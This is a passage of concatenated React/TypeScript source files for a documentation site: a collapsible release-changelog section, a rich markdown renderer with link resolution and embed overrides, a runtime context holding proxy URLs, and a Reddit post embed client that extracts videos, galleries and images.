in.\nconst PREVIEW_COLLAPSED_HEIGHT = 120;\n\nexport function ReleaseChangelogSection({\n  title,\n  entries,\n  isBreaking = false,\n  hideTitle = false,\n  collapsible = false,\n  defaultCollapsed = true,\n  previewFirst = false,\n  icon,\n  MarkdownRenderer = RichMarkdownRenderer,\n}: ReleaseChangelogSectionProps) {\n  const [collapsed, setCollapsed] = useState(collapsible ? defaultCollapsed : false);\n\n  if (!entries || entries.length === 0) return null;\n\n  // collapsible wins when both flags are passed (documented in JSDoc).\n  const inPreviewMode = previewFirst && !collapsible;\n  const showEntries = !collapsible || !collapsed;\n\n  return (\n    <div className=\"space-y-4\">\n      {!hideTitle && (\n        collapsible ? (\n          <button\n            type=\"button\"\n            onClick={() => setCollapsed(!collapsed)}\n            className=\"flex items-center justify-between w-full cursor-pointer\"\n          >\n            <h2 className={`flex items-center gap-2 text-h2 ${isBreaking ? 'text-ods-error' : 'text-ods-text-primary'}`}>\n              {icon}\n              {title}\n              <Badge variant=\"secondary\" className=\"ml-2\">{entries.length}</Badge>\n            </h2>\n            <ChevronDown\n              className={`h-4 w-4 text-ods-text-secondary shrink-0 transition-transform duration-200 ${\n                !collapsed ? 'rotate-180' : ''\n              }`}\n            />\n          </button>\n        ) : (\n          <h2 className={`flex items-center gap-2 text-h2 ${isBreaking ? 'text-ods-error' : 'text-ods-text-primary'}`}>\n            {icon}\n            {title}\n            <Badge variant=\"secondary\" className=\"ml-2\">{entries.length}</Badge>\n          </h2>\n        )\n      )}\n      {showEntries && (\n        inPreviewMode ? (\n          /* Preview-first mode: the shared `FadePreview` primitive clamps\n             the list to ~one full entry, fade-masks the rest, and renders\n             the \"Show N more / Show less\" toggle. */\n          <FadePreview\n            hiddenCount={entries.length - 1}\n            collapsedHeight={PREVIEW_COLLAPSED_HEIGHT}\n            resetKey={entries.length}\n          >\n            <ChangelogEntryList entries={entries} MarkdownRenderer={MarkdownRenderer} />\n          </FadePreview>\n        ) : (\n          <ChangelogEntryList entries={entries} MarkdownRenderer={MarkdownRenderer} />\n        )\n      )}\n    </div>\n  );\n}\n\n/**\n * Internal list renderer — shared by the default and preview-first\n * branches. Each entry is a bordered-left list item with bold title\n * + markdown-rendered description body.\n */\nfunction ChangelogEntryList({\n  entries,\n  MarkdownRenderer,\n}: {\n  entries: ChangelogEntry[];\n  MarkdownRenderer: React.ComponentType<{ content: string }>;\n}) {\n  return (\n    <ul className=\"space-y-6\">\n      {entries.map((entry, index) => (\n        <li key={index} className=\"border-l-2 border-ods-border pl-4 ml-0\">\n          {/* Entry title — run through the SAME markdown renderer as the\n              description so inline markdown (links like `[label](url)`,\n              emphasis) renders instead of showing as raw text, then pinned\n              back to the `text-h3` body+BOLD scale (per ODS tokens:\n              `--font-h3-weight: var(--font-weight-bold)`, 14/18px responsive)\n              so plain-text titles look exactly as before. `[&_p]:!my-0`\n              strips the renderer's paragraph margins; `mb-2` keeps the gap to\n              the description. */}\n          <div className=\"text-h3 text-ods-text-primary mb-2 [&_p]:!text-[length:var(--font-size-h3-body)] [&_p]:!leading-[var(--font-line-space-h3-body)] [&_p]:!font-bold [&_p]:!my-0 [&_p+p]:!mt-2\">\n            <MarkdownRenderer content={entry.title} />\n          </div>\n          {entry.description && (\n            /* Entry description — body text matches the main release\n               summary at the SAME 14/18px responsive `text-h4` scale.\n               The `MarkdownRenderer` forces its own `<p>` typography\n               which would override `text-h4` on `lg+` viewports and\n               inflate the changelog body to 20px. The `[&_p]:!` overrides\n               pin every descendant `<p>` back to the h4 responsive tokens\n               so the breakpoints stay aligned with the rest of the page. */\n            <div className=\"text-h4 text-ods-text-primary [&_p]:!text-[length:var(--font-size-h4-body)] [&_p]:!leading-[var(--font-line-space-h4-body)] [&_p]:!font-medium\">\n              <MarkdownRenderer content={entry.description} />\n            </div>\n          )}\n        </li>\n      ))}\n    </ul>\n  );\n}\n","\"use client\";\n\n/**\n * RichMarkdownRenderer — the content composition over the unified\n * `MarkdownEngine`: RuntimeProvider + shortcodes + embed overrides +\n * fetch-based internal-link resolver + `article` typography.\n *\n * This IS the real component (the old 1223-line standalone implementation\n * was deleted in the unification). Public prop surface is unchanged, so\n * every hub/app call site compiles untouched. Deltas vs the old\n * implementation are the ones reviewed in the unification plan: the\n * sanitize stack + tag-escape pre-pass now apply to content surfaces\n * (`extraAllowedHtmlTags={['video','source']}` keeps authored video\n * working), the engine is memoized, and the dead light-mode branches are\n * gone.\n */\nimport React, { memo, useCallback, useMemo } from 'react';\nimport { MarkdownEngine, NO_BROKEN_LINKS, type MarkdownEngineProps } from '../engine';\nimport type { ResolveLinkResult } from '../../../../types/doc-source';\nimport {\n  RichMarkdownRuntimeProvider,\n  useRichMarkdownRuntime,\n  type RichMarkdownRuntime,\n} from '../../../embeds/rich-markdown-runtime';\nimport { resolveTextSizeConfig } from '../text-size';\nimport { buildRichEmbedOverrides } from './embed-overrides';\nimport { processShortcodes } from './shortcodes';\n\n/** Raw-HTML tags authored content needs beyond the chat-safe baseline. */\nconst RICH_EXTRA_TAGS = ['video', 'source'];\n\n/**\n * The engine props this composition OWNS and therefore does not forward:\n * shortcode preprocessing, the embed component map, the `article` text\n * preset, the fetch link resolver, the rich tag allowlist, and streaming\n * (authored content is never streamed).\n */\ntype RichOwnedEngineProps =\n  | 'extraAllowedHtmlTags'\n  | 'preprocessContent'\n  | 'componentOverrides'\n  | 'textSize'\n  | 'onResolveLink'\n  | 'additionalRemarkPlugins'\n  | 'streaming';\n\n/**\n * Derived from `MarkdownEngineProps` rather than hand-copied. The previous\n * shape restated 7 engine props here and a THIRD time in `InnerProps`, so\n * every engine prop doc/type change had to be mirrored in three places (and\n * a missed mirror type-checks fine while silently dropping the prop).\n */\nexport interface RichMarkdownRendererProps\n  extends Partial<RichMarkdownRuntime>,\n    Omit<MarkdownEngineProps, RichOwnedEngineProps> {\n  /** Source for resolving internal links (default: 'openframe-docs'). Registry id from DOC_SOURCES. */\n  resolveSource?: string;\n  /** Path of the internal link-resolver endpoint. Default '/api/docs/resolve-link'. */\n  resolveLinkEndpointUrl?: string;\n}\n\nconst RichMarkdownRendererImpl: React.FC<RichMarkdownRendererProps> = ({\n  content,\n  className = '',\n  sectionIds,\n  onInternalLinkClick,\n  brokenLinks = NO_BROKEN_LINKS,\n  currentPath,\n  resolveSource = 'openframe-docs',\n  resolveLinkEndpointUrl = '/api/docs/resolve-link',\n  demoteMarkdownH1ToH2 = false,\n  // Runtime overrides; provider fills the defaults\n  redditProxyUrl,\n  twitterProxyUrl,\n  ogScraperUrl,\n  transformImageSrc,\n}) => {\n  return (\n    <RichMarkdownRuntimeProvider\n      redditProxyUrl={redditProxyUrl}\n      twitterProxyUrl={twitterProxyUrl}\n      ogScraperUrl={ogScraperUrl}\n      transformImageSrc={transformImageSrc}\n    >\n      <RichMarkdownInner\n        content={content}\n        className={className}\n        sectionIds={sectionIds}\n        onInternalLinkClick={onInternalLinkClick}\n        brokenLinks={brokenLinks}\n        currentPath={currentPath}\n        resolveSource={resolveSource}\n        resolveLinkEndpointUrl={resolveLinkEndpointUrl}\n        demoteMarkdownH1ToH2={demoteMarkdownH1ToH2}\n      />\n    </RichMarkdownRuntimeProvider>\n  );\n};\n\n/**\n * \"The outer component already applied these defaults\", ENCODED IN THE TYPE:\n * the runtime props are consumed by the provider (so they are gone here),\n * and the three defaulted props are `Required` — a missed default upstream\n * is a type error rather than a silent `undefined`.\n */\ntype InnerProps = Omit<RichMarkdownRendererProps, keyof RichMarkdownRuntime> &\n  Required<\n    Pick<\n      RichMarkdownRendererProps,\n      'resolveSource' | 'resolveLinkEndpointUrl' | 'demoteMarkdownH1ToH2'\n    >\n  >;\n\nconst RichMarkdownInner: React.FC<InnerProps> = ({\n  content,\n  className = '',\n  sectionIds,\n  onInternalLinkClick,\n  brokenLinks,\n  currentPath,\n  resolveSource,\n  resolveLinkEndpointUrl,\n  demoteMarkdownH1ToH2,\n}) => {\n  const { ogScraperUrl } = useRichMarkdownRuntime();\n\n  // The OG link-preview endpoint is `${apiBaseUrl}${ogEndpointPath}` —\n  // split the runtime URL once. Full URLs route through the cross-origin\n  // proxy; path-only values are used as the path with an empty base.\n  const { ogApiBaseUrl, ogEndpointPath } = useMemo(() => {\n    try {\n      const u = new URL(ogScraperUrl);\n      return {\n        ogApiBaseUrl: `${u.protocol}//${u.host}`,\n        ogEndpointPath: u.pathname,\n      };\n    } catch {\n      return { ogApiBaseUrl: '', ogEndpointPath: ogScraperUrl };\n    }\n  }, [ogScraperUrl]);\n\n  // ONE link-resolution code path: the engine's callback seam. This is the\n  // fetch implementation the old Rich renderer had inline in its <a>\n  // handler — the engine's base `a` component now drives it.\n  const onResolveLink = useCallback(\n    async (href: string, path: string): Promise<ResolveLinkResult> => {\n      const response = await fetch(resolveLinkEndpointUrl, {\n        method: 'POST',\n        headers: { 'Content-Type': 'application/json' },\n        body: JSON.stringify({ link: href, currentPath: path, source: resolveSource }),\n      });\n      return response.json();\n    },\n    [resolveLinkEndpointUrl, resolveSource],\n  );\n\n  const textSizes = useMemo(() => resolveTextSizeConfig('article'), []);\n\n  const componentOverrides = useMemo(\n    () => buildRichEmbedOverrides({ ogApiBaseUrl, ogEndpointPath, textSizes }),\n    [ogApiBaseUrl, ogEndpointPath, textSizes],\n  );\n\n  return (\n    <MarkdownEngine\n      content={content}\n      className={className}\n      sectionIds={sectionIds}\n      demoteMarkdownH1ToH2={demoteMarkdownH1ToH2}\n      brokenLinks={brokenLinks}\n      currentPath={currentPath}\n      onInternalLinkClick={onInternalLinkClick}\n      onResolveLink={onResolveLink}\n      preprocessContent={processShortcodes}\n      componentOverrides={componentOverrides}\n      textSize=\"article\"\n      extraAllowedHtmlTags={RICH_EXTRA_TAGS}\n    />\n  );\n};\n\n/** Memoized — see the engine's memo rationale. */\nexport const RichMarkdownRenderer = memo(RichMarkdownRendererImpl);\n\n","'use client'\n\nimport { createContext, useContext, useMemo, type ReactNode } from 'react'\n\n/**\n * Runtime knobs threaded from `<RichMarkdownRenderer>` down to its\n * satellite embed clients (reddit / twitter / og link preview / markdown\n * image). Lives in its own micro-context — distinct from the\n * `ChatRuntimeContext` used by the lib's chat module — because the\n * markdown renderer is mounted from documentation pages (blog, legal,\n * data room, knowledge base) that do NOT have a chat runtime in scope,\n * and the satellites need just three knobs:\n *\n *   - WHERE to fetch the reddit / twitter / OG-scrape proxy\n *   - HOW to transform a markdown image URL (the hub injects its\n *     Supabase image transformer; embedders pass null / identity)\n *\n * Defaults match the hub's existing endpoints so passing\n * `<RichMarkdownRenderer>` no props at all still works end-to-end on\n * the hub. Embedders override per-prop as needed.\n */\nexport interface RichMarkdownRuntime {\n  redditProxyUrl: string\n  twitterProxyUrl: string\n  ogScraperUrl: string\n  /** Hub-only Supabase image transformer. Returning null means \"don't\n   *  rewrite — use the src as-is\". Defaults to identity (no rewrite). */\n  transformImageSrc: (\n    src: string,\n    opts?: { width?: number; quality?: number; resize?: 'cover' | 'contain' | 'fill' }\n  ) => string | null\n}\n\nconst DEFAULT_RUNTIME: RichMarkdownRuntime = {\n  redditProxyUrl: '/api/blog/reddit-proxy',\n  twitterProxyUrl: '/api/blog/twitter-proxy',\n  ogScraperUrl: '/api/og-scraper',\n  transformImageSrc: () => null,\n}\n\nconst RichMarkdownRuntimeContext = createContext<RichMarkdownRuntime>(DEFAULT_RUNTIME)\n\n/**\n * Provider that fills in defaults for any prop the caller didn't pass.\n * Memoizes the resolved runtime so satellites don't re-render when an\n * unrelated parent state ticks.\n */\nexport function RichMarkdownRuntimeProvider({\n  redditProxyUrl,\n  twitterProxyUrl,\n  ogScraperUrl,\n  transformImageSrc,\n  children,\n}: Partial<RichMarkdownRuntime> & { children: ReactNode }) {\n  const value = useMemo<RichMarkdownRuntime>(\n    () => ({\n      redditProxyUrl: redditProxyUrl ?? DEFAULT_RUNTIME.redditProxyUrl,\n      twitterProxyUrl: twitterProxyUrl ?? DEFAULT_RUNTIME.twitterProxyUrl,\n      ogScraperUrl: ogScraperUrl ?? DEFAULT_RUNTIME.ogScraperUrl,\n      transformImageSrc: transformImageSrc ?? DEFAULT_RUNTIME.transformImageSrc,\n    }),\n    [redditProxyUrl, twitterProxyUrl, ogScraperUrl, transformImageSrc],\n  )\n  return (\n    <RichMarkdownRuntimeContext.Provider value={value}>\n      {children}\n    </RichMarkdownRuntimeContext.Provider>\n  )\n}\n\n/**\n * Read the ambient runtime. Returns the defaults when called outside any\n * `RichMarkdownRuntimeProvider` — so embedders that drop a satellite into\n * a non-renderer context (e.g. a release page calling\n * `<RedditEmbedClient>` directly) get the hub-matching defaults for free.\n */\nexport function useRichMarkdownRuntime(): RichMarkdownRuntime {\n  return useContext(RichMarkdownRuntimeContext)\n}\n","\"use client\";\n\nimport { useState, useEffect, useRef } from 'react';\nimport { socialCache } from '../../utils/social-embed-cache';\nimport { MediaCarousel } from '../media-carousel';\nimport { RedditContainer } from './embed-container';\nimport { formatLargeNumber } from '../../utils/format';\nimport { useRichMarkdownRuntime } from './rich-markdown-runtime';\nimport type { MediaItem as CarouselMediaItem } from '../../utils/media-carousel-utils-stub';\n\n// Using inline SVG icons to avoid dependency issues\nconst MessageCircleIcon = () => (\n  <svg width=\"16\" height=\"16\" fill=\"none\" stroke=\"currentColor\" viewBox=\"0 0 24 24\">\n    <path d=\"M21 15a2 2 0 01-2 2H7l-4 4V5a2 2 0 012-2h14a2 2 0 012 2z\"/>\n  </svg>\n);\n\nconst ExternalLinkIcon = () => (\n  <svg width=\"16\" height=\"16\" fill=\"none\" stroke=\"currentColor\" viewBox=\"0 0 24 24\">\n    <path d=\"M18 13v6a2 2 0 01-2 2H5a2 2 0 01-2-2V8a2 2 0 012-2h6\"/>\n    <polyline points=\"15,3 21,3 21,9\"/>\n    <line x1=\"10\" y1=\"14\" x2=\"21\" y2=\"3\"/>\n  </svg>\n);\n\nconst ArrowUpIcon = () => (\n  <svg width=\"16\" height=\"16\" fill=\"none\" stroke=\"currentColor\" viewBox=\"0 0 24 24\">\n    <polyline points=\"18,15 12,9 6,15\"/>\n  </svg>\n);\n\nconst ClockIcon = () => (\n  <svg width=\"12\" height=\"12\" fill=\"none\" stroke=\"currentColor\" viewBox=\"0 0 24 24\">\n    <circle cx=\"12\" cy=\"12\" r=\"10\"/>\n    <polyline points=\"12,6 12,12 16,14\"/>\n  </svg>\n);\n\nconst UserIcon = () => (\n  <svg width=\"12\" height=\"12\" fill=\"none\" stroke=\"currentColor\" viewBox=\"0 0 24 24\">\n    <path d=\"M20 21v-2a4 4 0 00-4-4H8a4 4 0 00-4 4v2\"/>\n    <circle cx=\"12\" cy=\"7\" r=\"4\"/>\n  </svg>\n);\n\nconst RedditIcon = () => (\n  <svg width=\"20\" height=\"20\" fill=\"#FF4500\" viewBox=\"0 0 24 24\">\n    <circle cx=\"9\" cy=\"12\" r=\"1\"/>\n    <circle cx=\"15\" cy=\"12\" r=\"1\"/>\n    <path d=\"M22 12a2 2 0 1 0-4 0c0 5.5-4.5 10-10 10S-2 17.5-2 12a2 2 0 1 0-4 0c0 7.7 6.3 14 14 14s14-6.3 14-14z\"/>\n    <path d=\"M8 10c0-1.1.9-2 2-2h4c1.1 0 2 .9 2 2\"/>\n  </svg>\n);\n\n// Simplified Reddit profile picture component\nconst RedditProfilePic = ({ username }: { username: string }) => {\n  return (\n    <div className=\"w-8 h-8 bg-[#FF4500] rounded-full flex items-center justify-center flex-shrink-0\">\n      <span className=\"text-white font-bold text-xs\">u/</span>\n    </div>\n  );\n};\n\ninterface RedditPost {\n  title: string;\n  selftext: string;\n  author: string;\n  subreddit: string;\n  created_utc: number;\n  ups: number;\n  num_comments: number;\n  url: string;\n  permalink: string;\n  preview?: {\n    images: Array<{\n      source: {\n        url: string;\n        width: number;\n        height: number;\n      };\n      resolutions: Array<{\n        url: string;\n        width: number;\n        height: number;\n      }>;\n    }>;\n  };\n  media?: {\n    reddit_video?: {\n      fallback_url: string;\n      height: number;\n      width: number;\n      is_gif: boolean;\n    };\n  };\n  secure_media?: {\n    reddit_video?: {\n      fallback_url: string;\n      height: number;\n      width: number;\n      is_gif: boolean;\n    };\n  };\n  post_hint?: string;\n  is_video?: boolean;\n  domain?: string;\n  gallery_data?: {\n    items: Array<{\n      media_id: string;\n    }>;\n  };\n  media_metadata?: Record<string, {\n    s: {\n      u: string;\n      x: number;\n      y: number;\n    };\n  }>;\n}\n\n// Internal media-item shape; we cast to the carousel's expected MediaItem at\n// the render boundary so we don't have to fabricate `id`s/`alt` for every push.\ninterface MediaItem {\n  type: 'image' | 'video';\n  src: string;\n  width: number;\n  height: number;\n  alt?: string;\n  isGif?: boolean;\n  poster?: string;\n}\n\ninterface RedditEmbedProps {\n  url: string;\n  maxWidth?: number;\n}\n\nexport function RedditEmbedClient({ url, maxWidth = 700 }: RedditEmbedProps) {\n  const { redditProxyUrl } = useRichMarkdownRuntime();\n  const [redditData, setRedditData] = useState<RedditPost | null>(null);\n  const [loading, setLoading] = useState(true);\n  const [error, setError] = useState<string | null>(null);\n  const initializationDone = useRef(false);\n\n  useEffect(() => {\n    // Only run once\n    if (initializationDone.current) return;\n    initializationDone.current = true;\n\n    // Normalize the Reddit URL to JSON format\n    const jsonUrl = url.endsWith('.json') ? url : `${url.replace(/\\/$/, '')}.json`;\n\n    // Reddit-specific data validator\n    const validateRedditData = (data: any): boolean => {\n      return data && Array.isArray(data) && data[0] && data[0].data && data[0].data.children && data[0].data.children[0];\n    };\n\n    // Use centralized cache hierarchy\n    socialCache.fetchWithHierarchy({\n      platform: 'reddit',\n      url: jsonUrl,\n      apiEndpoint: redditProxyUrl,\n      dataValidator: validateRedditData,\n      onDataUpdate: (data) => {\n        if (data[0]?.data?.children?.[0]?.data) {\n          setRedditData(data[0].data.children[0].data);\n        }\n      },\n      onError: (errorMsg) => setError(errorMsg),\n      onLoading: (loading) => setLoading(loading)\n    });\n  }, []); // Empty dependency array - only run once\n\n  if (loading) {\n    return (\n      <RedditContainer>\n        <div className=\"border border-ods-border rounded-lg p-6 bg-ods-card animate-pulse\">\n          <div className=\"flex items-center space-x-3 mb-4\">\n            <div className=\"w-12 h-12 bg-ods-border rounded-full\"></div>\n            <div>\n              <div className=\"h-4 bg-ods-border rounded w-32 mb-2\"></div>\n              <div className=\"h-3 bg-ods-border rounded w-24\"></div>\n            </div>\n          </div>\n          <div className=\"space-y-2 mb-4\">\n            <div className=\"h-4 bg-ods-border rounded w-full\"></div>\n            <div className=\"h-4 bg-ods-border rounded w-3/4\"></div>\n          </div>\n          <div className=\"flex items-center space-x-4\">\n            <div className=\"h-4 bg-ods-border rounded w-16\"></div>\n            <div className=\"h-4 bg-ods-border rounded w-16\"></div>\n            <div className=\"h-4 bg-ods-border rounded w-16\"></div>\n          </div>\n        </div>\n      </RedditContainer>\n    );\n  }\n\n  if (error || !redditData) {\n    return (\n      <RedditContainer>\n        <div className=\"border border-ods-border rounded-lg p-6 bg-ods-card\">\n          <div className=\"flex items-center space-x-3 text-ods-text-secondary mb-4\">\n            <RedditIcon />\n            <span>Reddit post unavailable</span>\n          </div>\n\n          <div className=\"text-center\">\n            <p className=\"text-ods-text-secondary text-h6 mb-4\">\n              This Reddit post could not be loaded. It may have been deleted, made private, or the subreddit may be restricted.\n            </p>\n            <a\n              href={url}\n              target=\"_blank\"\n              rel=\"noopener noreferrer\"\n              className=\"inline-flex items-center space-x-2 px-4 py-2 bg-[#FF4500] text-white rounded-md text-h6 hover:bg-[#E03D00] transition-colors\"\n            >\n              <RedditIcon />\n              <span>View on Reddit</span>\n            </a>\n          </div>\n        </div>\n      </RedditContainer>\n    );\n  }\n\n  // Enhanced media extraction from Reddit post data\n  const getMediaContent = (): MediaItem[] => {\n    // FIRST: Check if the post has been removed or deleted - if so, don't extract media\n    // Reddit API exact-match indicators only. Previously this also did\n    // `title.toLowerCase().includes('removed' | 'deleted')` which suppressed\n    // legitimate posts whose titles mention those words (e.g. \"Comment was\n    // removed by mods\", \"Deleted scenes from my favorite movie\").\n    const isRemovedOrDeleted = redditData.selftext === '[removed]' ||\n                               redditData.selftext === '[deleted]' ||\n                               redditData.author === '[deleted]' ||\n                               (redditData.title && redditData.title.includes('[removed]'));\n\n    if (isRemovedOrDeleted) {\n      console.log('🚫 Post content removed - skipping all media extraction for:', redditData.title);\n      return []; // Return empty media array for removed posts\n    }\n\n    const media: MediaItem[] = [];\n\n    console.log('🔍 Reddit media extraction for:', redditData.title);\n    console.log('📊 Full Reddit data structure:', {\n      url: redditData.url,\n      domain: redditData.domain,\n      post_hint: redditData.post_hint,\n      is_video: redditData.is_video,\n      media: redditData.media,\n      secure_media: redditData.secure_media,\n      preview: redditData.preview,\n      gallery_data: redditData.gallery_data,\n      media_metadata: redditData.media_metadata\n    });\n\n    // 1. Check for Reddit hosted video (v.redd.it) - PRIORITY\n    const video = redditData.media?.reddit_video || redditData.secure_media?.reddit_video;\n    if (video && video.fallback_url) {\n      console.log('📹 Found Reddit video:', video);\n\n      // Generate poster URL from video URL and preview data\n      let posterUrl = '';\n\n      // Try to get poster from preview images first\n      if (redditData.preview?.images?.[0]?.source?.url) {\n        posterUrl = redditData.preview.images[0].source.url.replace(/&amp;/g, '&');\n        console.log('✅ Using preview image as video poster:', posterUrl);\n      } else {\n        // Fallback: try to generate from video URL\n        try {\n          const baseUrl = video.fallback_url.replace(/DASH_\\d+\\.mp4.*$/, '');\n          posterUrl = `${baseUrl}DASH_720.jpg`;\n          console.log('🎯 Generated poster URL:', posterUrl);\n        } catch (e) {\n          console.log('Could not generate poster URL');\n        }\n      }\n\n      // Try to get a better video URL by replacing DASH format\n      let videoUrl = video.fallback_url;\n\n      // If it's a DASH URL, try to get a direct MP4 format\n      if (videoUrl.includes('DASH_')) {\n        // Try different quality levels for Reddit videos\n        const baseUrl = videoUrl.replace(/DASH_\\d+\\.mp4.*$/, '');\n        const qualities = ['480', '360', '720', '240']; // Start with 480p for better compatibility\n\n        // Use 480p as default for better compatibility\n        videoUrl = `${baseUrl}DASH_480.mp4`;\n        console.log('🎯 Optimized Reddit video URL for compatibility:', videoUrl);\n      }\n\n      media.push({\n        type: 'video',\n        src: videoUrl,\n        width: video.width || 640,\n        height: video.height || 480,\n        isGif: video.is_gif || false,\n        poster: posterUrl\n      });\n\n      // Return early for videos to avoid showing preview images as well\n      console.log('📋 Final Reddit media (video):', media);\n      return media;\n    }\n\n    // 2. Check for Reddit gallery (multiple images)\n    if (redditData.media_metadata && redditData.gallery_data) {\n      console.log('🖼️ Found Reddit gallery');\n      const galleryItems = redditData.gallery_data.items || [];\n\n      for (const item of galleryItems) {\n        const mediaId = item.media_id;\n        const mediaInfo = redditData.media_metadata[mediaId];\n\n        if (mediaInfo && mediaInfo.s && mediaInfo.s.u) {\n          // Reddit encodes URLs, need to decode\n          const imageUrl = mediaInfo.s.u.replace(/&amp;/g, '&');\n          console.log('✅ Adding gallery image:', imageUrl);\n\n          media.push({\n            type: 'image',\n            src: imageUrl,\n            width: mediaInfo.s.x || 0,\n            height: mediaInfo.s.y || 0,\n            alt: redditData.title\n          });\n        }\n      }\n\n      if (media.length > 0) {\n        console.log('📋 Final Reddit media (gallery):', media);\n        return media;\n      }\n    }\n\n    // 3. Check for single image preview (but not if it's actually a video)\n    if (redditData.preview?.images?.[0] && !redditData.is_video) {\n      const imageData = redditData.preview.images[0];\n      console.log('🖼️ Found preview image data:', imageData);\n\n      // Use best resolution that fits our constraints\n      let source = imageData.source;\n      if (imageData.resolutions && imageData.resolutions.length > 0) {\n        // Find best resolution under 1200px width, or use source\n        const bestResolution = imageData.resolutions\n          .filter(r => r.width <= 1200)\n          .sort((a, b) => b.width - a.width)[0];\n        source = bestResolution || imageData.source;\n      }\n\n      if (source && source.url) {\n        const cleanUrl = source.url.replace(/&amp;/g, '&');\n        console.log('✅ Adding preview image:', cleanUrl);\n        media.push({\n          type: 'image',\n          src: cleanUrl,\n          width: source.width,\n          height: source.height,\n          alt: redditData.title\n        });\n      }\n    }\n\n    // 4. Check for direct media URLs (imgur, i.redd.it, etc.) - only if no other media found\n    if (media.length === 0 && redditData.url) {\n      const directUrl = redditData.url.toLowerCase();\n      console.log('🔗 Checking direct URL:', directUrl);\n\n      // Image formats\n      if (directUrl.match(/\\.(jpg|jpeg|png|gif|webp)(\\?.*)?$/i)) {\n        console.log('📸 Found direct image URL');\n        media.push({\n          type: 'image',\n          src: redditData.url,\n          width: 0,\n          height: 0,\n          alt: redditData.title\n        });\n      }\n      // Video formats\n      else if (directUrl.match(/\\.(mp4|webm|mov|avi)(\\?.*)?$/i)) {\n        console.log('🎬 Found direct video URL');\n\n        // Try to generate poster from preview if available\n        let posterUrl = '';\n        if (redditData.preview?.images?.[0]?.source?.url) {\n          posterUrl = redditData.preview.images[0].source.url.replace(/&amp;/g, '&');\n        }\n\n        media.push({\n          type: 'video',\n          src: redditData.url,\n          width: 0,\n          height: 0,\n          isGif: false,\n          poster: posterUrl\n        });\n      }\n      // Special handling for imgur\n      else if (directUrl.includes('imgur.com') && !directUrl.includes('.gifv')) {\n        console.log('🌐 Found Imgur link');\n        // Convert imgur links to direct image links\n        const imgurId = directUrl.match(/imgur\\.com\\/([a-zA-Z0-9]+)/)?.[1];\n        if (imgurId && !directUrl.includes('/a/') && !directUrl.includes('/gallery/')) {\n          // Try both jpg and png\n          media.push({\n            type: 'image',\n            src: `https://i.imgur.com/${imgurId}.jpg`,\n            width: 0,\n            height: 0,\n            alt: redditData.title\n          });\n        }\n      }\n      // i.redd.it images\n      else if (directUrl.includes('i.redd.it')) {\n        console.log('🖼️ Found i.redd.it image');\n        media.push({\n          type: 'image',\n          src: redditData.url,\n          width: 0,\n          height: 0,\n          alt: redditData.title\n        });\n      }\n    }\n\n    console.log('📋 Final Reddit media array:', media);\n    return media;\n  };\n\n  const mediaContent = getMediaContent();\n  // Lib's `MediaCarousel` expects items shaped like the carousel-utils-stub\n  // `MediaItem` (which has a required `id`). Reddit constructs items without an\n  // `id`, so we synthesize one at the boundary. Keep the runtime cast — lib\n  // carousel keys by index and only reads `.type`/`.src`/`.poster`/`.alt`.\n  const carouselItems: CarouselMediaItem[] = mediaContent.map((m, i) => ({\n    id: `reddit-${i}`,\n    type: m.type,\n    src: m.src,\n    poster: m.poster,\n    alt: m.alt,\n    width: m.width,\n    height: m.height,\n  }));\n\n  // Format time\n  const formatTimeAgo = (timestamp: number) => {\n    const now = Math.floor(Date.now() / 1000);\n    const diffSeconds = now - timestamp;\n\n    if (diffSeconds < 60) return 'just now';\n    if (diffSeconds < 3600) return `${Math.floor(diffSeconds / 60)}m ago`;\n    if (diffSeconds < 86400) return `${Math.floor(diffSeconds / 3600)}h ago`;\n    return `${Math.floor(diffSeconds / 86400)}d ago`;\n  };\n\n  // Format numbers using utility function\n  const formatNumber = formatLargeNumber;\n\n  const truncateText = (text: string, maxLength: number = 600) => {\n    if (text.length <= maxLength) return text;\n    return text.slice(0, maxLength) + '...';\n  };\n\n  return (\n    <RedditContainer>\n      <div className=\"border border-ods-border rounded-lg bg-ods-card overflow-hidden\">\n        {/* Header with Profile Picture */}\n        <div className=\"p-4 border-b border-ods-border\">\n          <div className=\"flex items-center justify-between\">\n            <div className=\"flex items-center space-x-3\">\n              {/* Lazy-loaded User Profile Picture */}\n              <div className=\"w-8 h-8 rounded-full overflow-hidden flex-shrink-0\">\n                <RedditProfilePic username={redditData.author} />\n              </div>\n              <div>\n                <p className=\"text-ods-text-primary text-h6\">r/{redditData.subreddit}</p>\n                <div className=\"flex items-center space-x-2 text-ods-text-secondary text-h6\">\n                  <UserIcon />\n                  <span>u/{redditData.author}</span>\n                  <ClockIcon />\n                  <span>{formatTimeAgo(redditData.created_utc)}</span>\n                </div>\n              </div>\n            </div>\n          </div>\n        </div>\n\n        {/* Content - Matching Twitter Style */}\n        <div className=\"p-4\">\n          <h3 className=\"text-ods-text-primary text-h3 mb-3\">\n            {redditData.title}\n          </h3>\n\n          {redditData.selftext && (\n            <div\n              className=\"text-ods-text-secondary text-h6 mb-4 overflow-hidden\"\n              style={{ maxHeight: `${maxWidth - 200}px` }}\n            >\n              <p className=\"whitespace-pre-wrap\">\n                {truncateText(redditData.selftext)}\n              </p>\n            </div>\n          )}\n\n          {/* Enhanced Media Section with Carousel */}\n          {carouselItems.length > 0 && (\n            <MediaCarousel\n              media={carouselItems}\n              aspectRatio=\"16/9\"\n            />\n          )}\n\n          {/* Stats - Matching Twitter Style */}\n          <div className=\"flex items-center space-x-6 text-ods-text-secondary text-h6\">\n            <div className=\"flex items-center space-x-1\">\n              <ArrowUpIcon />\n              <span>{formatNumber(redditData.ups)} upvotes</span>\n            </div>\n            <div className=\"flex items-center space-x-1\">\n              <MessageCircleIcon />\n              <span>{formatNumber(redditData.num_comments)} comments</span>\n            </div>\n          </div>\n        </div>\n\n        {/* Footer - Matching Twitter Style */}\n        <div className=\"px-4 py-3 bg-ods-bg-surface border-t border-ods-border\">\n          <a\n            href={url}\n            target=\"_blank\"\n            rel=\"noopener noreferrer\"\n            className=\"inline-flex items-center space-x-2 text-ods-accent hover:opacity-80 transition-colors text-h6\"\n          >\n            <ExternalLinkIcon />\n            <span>View on Reddit</span>\n          </a>\n        </div>\n      </div>\n    </RedditContainer>\n  );\n}\n","// Unified Social Media Embed fetch layer.\n// Shared between Reddit and Twitter embed clients for consistent behavior.\n//\n// SIMPLIFIED (2026-08, \"all 58 Reddit embeds broken\" incident): the server\n// proxy is now the single authority — it owns a DURABLE database cache and\n// the authenticated upstream fetch (Reddit's `.json` API 403s all\n// unauthenticated clients, so the old browser direct-fetch could never work\n// again). The old client-side hierarchy (cache-only preflight round-trip,\n// direct browser fetch, client→server POST cache pushes, background\n// refreshes) was flaky machinery layered 